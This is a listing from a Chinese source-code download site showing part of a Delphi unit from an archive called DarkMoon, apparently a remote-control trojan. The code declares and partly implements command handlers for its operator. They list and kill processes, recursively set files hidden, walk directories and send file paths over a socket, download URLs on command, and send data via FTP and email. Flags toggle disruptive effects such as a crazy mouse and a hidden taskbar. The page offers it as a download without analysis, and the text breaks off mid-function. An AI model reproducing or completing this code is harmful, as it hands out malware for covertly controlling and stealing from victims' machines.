开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Delphi控件源码 > 查看源码
DM5314_UCommandsAndUtils.pas
资源名称：DarkMoon.rar　[点击查看]
上传用户：hndmjx
上传日期：2014-09-16
资源大小：3369k
文件大小：34k
源码类别：

Delphi控件源码

开发平台：

Delphi

DM5314_UCommandsAndUtils.pas：源码内容
  1. unit DM5314_UCommandsAndUtils;
  3. interface
  4. uses Windows,wininet, winsock ,TlHelp32, ShellApi, MMSystem;
  5. function FindWindowsDir : string;
  6. function CloseProcces(Exefile: string): string;
  8. function split (text : string;char : char; num : integer):string;
  9. procedure SendEMAIL(SMTP : string; EMAIL:string; MyEMAIL:string);
  10. function GetLocalPath:string;
  11. function GetFileName (text : string):string;
  12. procedure SendData (SOCKET : TSOCKET;Data :string);
  13. function FindChar(Word: string;char : char):integer  ;
  14. function FindNChars(Word: string;char : char):integer  ;
  15. function ShellEx(Path : string):string;
  16. function LocalIP: string;
  17. function Replace(strSource:string; strToFind:string; strReplace:string): string;
  19. function Get_SysPath:string  ;
  21. function EsXP : Boolean;
  22. function Descargar( url : String; Parametro2: String  ): boolean;
  24. function  BorrarArchivo( s: String ): integer;
  26. function FileExists( s : String ): Boolean;
  27. function StrToInt64(const S: string): Int64;
  28. function BuffToStr( const b : Array of Char ) : string;
  29. function StrToInt(const S: string ): Integer;
  30. function StrPas(const Str: PChar): string;
  31. function IntToStr(Value: Integer): string;
  32. function StrPCopy(Dest: PChar; const Source: string): PChar;
  33. function LowerCase(const S: string): string;
  34. function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
  35. function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
  36. function StrToIntDef(const S: string; Default: Integer): Integer;
  37. function Trim(const S: string): string;
  38. function UpperCase( S :String ): String ;
  39. function stringtochar(st : string) : char;
  40. function HexToInt(s: string): Longword;
  41. function KillProcess( Parametro : String): String;
  42. function Procces( ):string;
  43. procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
  44. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
  45. function PeerToName(Socket: TSocket): string;
  46. function PeerToAddress(Socket: TSocket): string;
  47. function PeerToPort(Socket: TSocket): string;
  48. procedure LIST( SOCKET : Tsocket;dir : string );
  49. procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
  50. procedure HideFile( s :String);
  51. function Decrypt(const S: AnsiString; Key: Word): AnsiString;
  52. function Encrypt(const S: AnsiString; Key: Word): AnsiString;
  53.  var   Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
  54.       Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
  55.       MouseLoco, Rebota, Vivorita : Boolean;
  57.       //esto es para el boton de inicio
  58.       h    : THandle;
  59.       r    : TRect;
  60.       Grave: Integer = 20;
  62.       //para consola
  63.       ConsolaApp : String;
  64.       RunPipe    : Boolean;
  65.       EsConsola  : Boolean;
  66.        Clave   : String;
  69. implementation
  71.       uses Mainform;
  77. function KillProcess( Parametro : String): String;
  78. var h : THandle;
  79. begin
  80.      Result := 'KillProcess is terminated!';
  81.      try h:= OpenProcess( PROCESS_ALL_ACCESS, TRUE, StrToInt64( parametro ) );
  82.          if TerminateProcess( h, 0 ) then
  83.             Result := 'KillProcess is terminated!'
  84.          except
  85.      end;
  86. end;
  88. function Procces(): string;
  89. var Proceso : TProcessEntry32;
  90.     SHandle : THandle;
  91.     Next    : Boolean;
  92.       Tmp :string    ;
  93. begin
  94.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  95.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  96.       if Process32First( SHandle, Proceso ) then
  97.       begin
  98.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  99.            repeat Next := Process32Next( SHandle , Proceso );
  100.                  Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
  101.            until not Next;
  102.       end;
  103.       CloseHandle( SHandle );
  105.       Result :=Tmp
  106.       end;
  108. function CloseProcces(Exefile: string): string;
  109. var Proceso : TProcessEntry32;
  110.     SHandle : THandle;
  111.     Next    : Boolean;
  112.       Tmp :string    ;
  113. begin
  114.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  115.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  116.       if Process32First( SHandle, Proceso ) then
  117.       begin
  118.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  119.            repeat Next := Process32Next( SHandle , Proceso );
  120.                   if    Proceso.szExeFile=Exefile    then begin
  122.                   KillProcess ( IntToStr( Proceso.th32ProcessID ) );
  123.                 // Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
  124.                        end;
  126.            until not Next;
  127.       end;
  128.       CloseHandle( SHandle );
  130.       Result :=''
  131.       end;
  136. procedure HideFile( s :String);
  137. var i : Byte;
  138. begin
  139.      i := GetFileAttributes( Pchar ( s ) );
  140.      i := i or $00000002;   //oculto
  141.      SetFileAttributes( Pchar( s ),i );
  142. end;
  144. function Ocultar( Path: String; oculto:Boolean  ): String ;
  145. var sr      : WIN32_FIND_DATA;
  146.     retval  :integer;
  147.     sigue   :longbool;
  148.     esDir   : Bool;
  149. begin
  150.      retval := FindFirstFile( PChar( path ), sr );
  151.      if retval = -1 then
  152.           Exit;
  153.      sigue := true;
  154.      while sigue do
  155.      begin
  156.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  157.          if EsDir then
  158.          begin
  159.              if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  160.                   Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '*.*', true );
  161.          end
  162.          else begin
  163.                    HideFile(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
  164.                end;
  165.          sigue := FindNextFile( retval, sr );
  166.       end;
  167. end;
  169. procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
  170. var sr      : WIN32_FIND_DATA;
  171.     retval  :integer;
  172.     sigue   :longbool;
  173.     esDir   : Bool;
  174. begin
  175.      sigue := true;
  176.      if path[ Length( path ) ] <> '' then
  177.         path := path +'';
  178.      retval := FindFirstFile( Pchar( path + '*.*' ), sr );
  179.      while sigue do
  180.      begin
  181.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  182.          if EsDir then
  183.             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  184.                  BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
  185.          sigue := FindNextFile( retVal, sr );
  186.      end;
  188.      if path[ Length( path ) ] <> '' then
  189.         path := path + '';
  190.      RetVal := FindFirstFile( Pchar( path + mask ), sr );
  191.      if RetVal = -1 then
  192.         Exit;
  193.      sigue := true;
  194.      while sigue do
  195.      begin
  196.           if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  197.              SendData(SOCKET, path + sr.CfileName);
  198.           sigue := FindNextFile( retVal, sr );
  199.      end;
  200. end;
  203. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
  204. begin
  205.      if Bajando then
  206.      begin
  207.           //Contestar( udp, cli, LocalIP + ': Ahorita estoy bajando otro archivo de la web, esperame!!!', tcp );
  208.           Exit;
  209.      end;
  210.      if FileExists( Parametro2 ) then
  211.      begin
  212.           //Contestar( udp, cli, LocalIP + ': El archivo de salida ya existe y no lo pienso sobreescribir, as